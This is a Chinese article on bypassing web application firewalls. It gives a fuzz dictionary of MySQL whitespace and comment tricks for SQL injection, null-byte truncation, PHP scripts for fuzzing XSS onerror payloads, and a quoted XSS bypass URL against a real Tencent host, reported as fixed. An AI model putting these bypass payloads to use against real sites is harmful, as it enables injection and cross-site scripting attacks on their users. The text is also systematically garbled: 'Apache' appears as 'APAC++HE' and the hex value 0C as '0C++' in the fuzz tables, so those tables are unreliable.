您好,登錄后才能下訂單哦!
WAF分類:
1.網絡層類
2.最常見且容易部署的應用層類 (部署在APAC++HE之前,APAC++HE之后)
應用層WAF – 利用WAF自身缺陷和MYSQL語法特性并結合實際繞過:
WAF最常見檢測方式:關鍵詞檢測 例如 如果出現 [空格]union[空格] 這樣的SQL語句則視為惡意請求,丟棄這個數據包,XSS代碼同理。
常見的繞過類型:
類型1:
數據包 -> WAF(利用string存儲請求參數,解碼后檢測)-> APAC++HE
C++語言等利用string等儲存結構存儲請求,在解碼時,%00會成為 NULL 從而截斷接下去的請求內容
因此例如 ?id=1%00%20and%201=1 就成為了 ?id=1 從而繞過WAF檢測
類型2:
數據包 -> WAF ->APAC++HE
繞過邏輯:
WAF對某些User-Agent特殊放行(如百度spider 的UA)
WAF對某些POST包特殊放行(文件上傳包)
類型3:
數據包 -> WAF ->APAC++HE
利用mysql的語法特性和html代碼的特殊書寫方式、瀏覽器的渲染方式繞過。由于實際***測試過程中對WAF的實際檢測邏輯并不清楚,所以利用fuzz是最好的方法,這也是WAF最常見的繞過方法。
FUZZ字典:
%a0union%a0 (WAF中正則表達式 \s 并不能匹配 %a0 但MYSQL視之為 空格)
%0aunion%0a
%0bunion%0b (WAF中正則表達式 \s \t 并不能識別匹配 %0b)
%09union%09
/**/union/**/
%0dunion%0d
/*%e4*/union/*%e4*/(UTF8中的半個中文 正則表達式中任意匹配符(.)不能匹配該內容)
`version`() (MYSQL語法特性 函數可以書寫成 `函數名`())
/*!union*/
8E0union (MYSQL語法特性,檢測為浮點數后語境結束,視為空格,下2同)
8.0union
\Nunion
.1union/*.1*/
...
XSS類的一個fuzz實例:
《Fuzz <img src=x [code..] onerror=XSS>來檢測 onerror 前可以無縫連接怎樣的字符》
編寫fuzzz.php 和 fuzz.php 代碼如下
Fuzzz.php:
<html>
<?php
$urlhex=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'];
$i=0;
$ii=0;
for ($i=0; $i < 16 ; $i++) {
for ($ii=0; $ii < 16; $ii++) {
$hex = $urlhex[$i] . $urlhex[$ii];
$realhex = '%' .$urlhex[$i] . $urlhex[$ii];
echo "<iframe src='http://localhost/fuzz.php?c=".$realhex."&d=".$hex."''></iframe>";
}
}
?>
</html>
Fuzz.php:
<?php
$code = $_GET['c'];
$cc = $_GET['d'];
?>
<html>
<img src=x <?php echo $code?>onerror="alert('<?php echo $cc?>')">
</html>
運行Fuzzz.php 進行自動fuzz,結果為:
0c,0d,2f,0a,20,09
1506031300c24c8e0557b05eb0.jpg
同理可以fuzz出各種標簽的其他位置可以插入的特殊字符。
附SQL語句空白符FUZZ結果:
SQLite3:0A,0D,0C++,09,20
MySQL5:09,0A,0B,0C++,0D,A0,20
PosgresSQL:0A,0D,0C++,09,20
Oracle_11g:00,0A,0D,0C++,09,20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C++,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C++,1D,1E,1F,20
類型4:
數據包 -> WAF ->APAC++HE
這是WAF無法考慮到的…
多次惡意代碼檢測和處理 留下的隱患:
例子(已修復):
漏洞名稱:crm2.qq.com XSS
提交時間:2015-03-30 13:39:31
“這個時候就遇到了你們的迷之waf,<script>果斷501啊,崩潰了半小時,稍微fuzz了一下,發現%0a會無視掉,成功bypass waf”
最后構造的XSS為:
http://crm2.qq.com/page/portalpage/wpa.php?uin=40012345&f=5&ty=6666&ap=%23&debug=1&bt=\x3csc%0aript\x3eale%0art()
這里有一個tencent waf ,對XSS代碼也有一定的防御檢測,在get請求中出現 <script> , alert() , <svg> 等關鍵詞時,觸發waf,返回錯誤碼501
但由于參數在經過waf檢測后,通過php的 $_GET[] 函數取得,并繼續進行關鍵詞過濾,經過筆者的一番fuzz,發現它會匹配換行符 %0a 并丟棄后輸出,因此在這個邏輯下:
<scri%0apt>aler%0at()
經過waf 時,通過了檢測(并沒有關鍵詞),然后經過php的字符串處理后,依然輸出了惡意代碼。
類型5:
數據包 -> WAF ->APAC++HE
畸形HTTP包,
利用Apache對HTTP包的兼容性和WAF對畸形HTTP包的不兼容性繞過WAF
總結:
對于普遍的應用層WAF,fuzz是測試waf的較好的方法,利用MYSQL的一些語法特性和瀏覽器的一些渲染方式,構造出一份強大的fuzz字典,或許就可以繞過waf的關鍵詞檢測。
同時,WAF和php代碼的連接靈活性也是很值得考慮的,例如類型4,多次對傳入數據進行處理反而容易留下隱患。
WAF想要防繞過,需有針對的過濾這些字符組合。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。